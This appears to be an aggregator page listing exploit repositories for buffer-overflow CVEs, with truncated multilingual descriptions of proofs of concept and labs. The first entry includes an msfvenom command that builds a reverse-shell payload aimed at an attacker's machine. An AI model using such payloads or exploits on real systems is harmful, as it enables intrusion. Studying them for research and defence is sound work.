CVE-2009-3999

CVE-2009-3999 Exploit pour HP Power Manager 4.2 Build 7 Inspiré de https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 ÉTAPE 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...

CVE-2025-5548

🐞 CVE-2025-5548: FreeFloat FTP Server 1.0 Buffer Overflow Профессиональное исследование и разработка эксплойта для классического переполнения буфера на стеке в FreeFloat FTP Server 1.0. Эта лабораторная работа демонстрирует переход от бинарного реверс-инжиниринга к полностью функциональному RCE. ...

CVE-2025-5548-FreeFloat-FTP-Buffer-Overflow

CVE-2025-5548 — Buffer Overflow dans FreeFloat FTP Server 1.0 Laboratoire d'analyse et d'exploitation de vulnérabilités · Exploit Development · Windows x86 De quoi parle ce dépôt ? Ce dépôt documente de manière complète le processus d'analyse et d'exploitation de la vulnérabilité CVE-2025-5548 , ...

CVE-2019-25485

🐞 CVE-2019-25485: R 3.4.4 - Débordement de tampon basé sur la pile x86 et x64 Débordement de tampon basé sur la pile dans R 3.4.4. Exploitation complète sur x86, mais seulement contrôle de RIP avec analyse de gadgets sur x64 en raison des contraintes du programme. La même vulnérabilité sur deux...

CVE-2023-4863

уровень 1: craft.c - bad.webp root@kitploit: существует: docker 813b6b757038 /webp cd CVE-2023-4863 make -f makefile.unix -B фатальная ошибка: jpeglib.h: No such file or directory apt-get update apt-get install libjpeg-dev фатальная ошибка: png.h: No such file or directory apt-get install...

CVE-2021-3156-Sudo-Buffer-Overflow-Linux

CVE-2021-3156 – Débordement de tampon de sudo Linux Exploit d'élévation de privilèges Baron Samedit 📌 Aperçu Ce projet démontre l'exploitation de CVE-2021-3156 Baron Samedit , une vulnérabilité critique de débordement de tampon basé sur le tas dans l'utilitaire sudo de Linux. La vulnérabilité...

Explotando-FreeFloatFTP-CVE-2025-5548

Exploitation-FreeFloatFTP-CVE-2025-5548 Bienvenue dans mon référentiel de recherche et développement d'exploits. Ce projet documente l'analyse technique complète, la préparation de l'environnement et l'exploitation étape par étape de la vulnérabilité CVE-2025-5548 Stack-Based Buffer Overflow...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 glibc vsysloginternal эксплуатация переполнения кучи с использованием Convergent Time Theory α = 0.0302011. 33-слойный временной heap spray + фазово-синхронизированный триггер для надежного локального повышения привилегий. README.md root@kitploit:...

CVE-2025-5548

🐞CVE-2025-5548 FreeFloat FTP Server 1.0 のバッファオーバーフロー 🎯 スタックバッファオーバーフローエクスプロイト このリポジトリには、32ビットWindows環境におけるリバースエンジニアリングとメモリレベルの脆弱性（スタックバッファオーバーフロー）のエクスプロイトに焦点を当てたサイバーセキュリティプロジェクトのドキュメントと実践的な開発が含まれています。 📌 プロジェクトの目的 このプロジェクトの目的は、ASLRやDEPなどの最新のセキュリティ対策が欠如していることで知られるFreefloat FTP Server v1.00...

CVE-2015-1925.RCE

CVE-2015-1925 The exploit targets Tivoli Fastback Server running on Windows 10 x86, build: 16299 , affecting version 6.1.4 , where an unauthenticated attacker can perform a buffer overflow through a raw socket connection , resulting in remote code execution RCE. This exploit assumes ASLR is not...

CVE-2026-28858

⚠️ CVE-2026-28858 — Переполнение буфера в Apple iOS/iPadOS root@kitploit: ╔══════════════════════════════════════════════════════════════╗ ║ СЕРЬЁЗНОСТЬ: КРИТИЧЕСКАЯ │ CVSS: 9.8 │ CWE-120 │ УДАЛЁННО ║ ╚══════════════════════════════════════════════════════════════╝ Удалённый пользователь может...

CVE-2017-14980.RCE

CVE-2017-14980 Эксплойт нацелен на Sync Breeze Enterprise , работающий на Windows 10 x86, build: 16299 , версии 10.0.28 , где неаутентифицированный злоумышленник может выполнить переполнение буфера через тело HTTP-запроса , что приводит к выполнению произвольного кода. Данный эксплойт предполагае...

CVE-2026-6643

CVE-2026-6643 — ASUSTOR ADM 5.1.2 RCE vpnupload.cgi의 포맷 문자열CWE-134 + 스택 버퍼 오버플로우CWE-121 취약점 요약...

CVE-2023-3824

PHP PoC вредоносного Phar-файла CVE-2023-3824 Описание Этот PoC демонстрирует, как создать вредоносный Phar-файл в PHP и вызвать уязвимость переполнения буфера. Использование Создание вредоносного Phar-файла 1. Создайте новый PHP-файл например, createphar.php и добавьте следующий код:...

-CVE-2020-0796-SMBGhost-Windows-10-SMBv3-Remote-Code-Execution-Vulnerability

CVE-2020-0796 Удалённое переполнение POC POC для проверки CVE-2020-0796 / "SMBGhost" Использование Убедитесь, что Python установлен, затем запустите cve-2020-0796.py...

nginx-rift-private-lab

NGINX Rift RCE-эксплойт Proof of concept для CVE-2026-42945 — критического переполнения кучи в ngxhttprewritemodule NGINX, появившегося ещё в 2008 году. Уязвимость позволяет неаутентифицированному удалённому злоумышленнику выполнить произвольный код на серверах, использующих директивы rewrite и...

cve-2026-32746

CVE-2026-32746 - telnetd LINEMODE SLC 버퍼 오버플로우 GNU InetUtils telnetd의 LINEMODE SLCSet Local Characters 핸들러에서 발생하는 인증 전pre-authentication 버퍼 오버플로우입니다. CVSS 3.1: 9.8 치명적 | CWE: CWE-120, CWE-787 개요 telnetd/slc.c의 addslc 함수는 경계 검사 없이 SLC 트리플릿마다 3바이트를 고정 108바이트 버퍼slcbuf에 추가합니다. 인증되지 않은 공격자는 로그인 프롬프트 이...

CVE-2026-42945

Outil de détection de sécurité CVE-2026-42945 Il s'agit d'un outil de détection statique CVE-2026-42945 destiné à la défense et à l'inspection des réseaux internes, utilisé pour vérifier si les configurations liées à ngxhttprewritemodule de NGINX contiennent des combinaisons rewrite à haut risque...

CVE-2007-5036

CVE-2007-5036 Airsensor M520 - Неаутентифицированный удалённый отказ в обслуживании HTTPd / переполнение буфера PoC Публикация Exploit-DB: https://www.exploit-db.com/exploits/4426/ Автор Alex Hernandez, он же @alt3kx...

CVE-2002-0289

CVE-2002-0289 Phusion WebServer 1.0 - Débordement de tampon distant 'URL' Publication sur Exploit-db à l'adresse https://www.exploit-db.com/exploits/21294/ Phusion WebServer 1.0 - Déni de service par URL longue Publication sur Exploit-db à l'adresse https://www.exploit-db.com/exploits/21293/ Aute...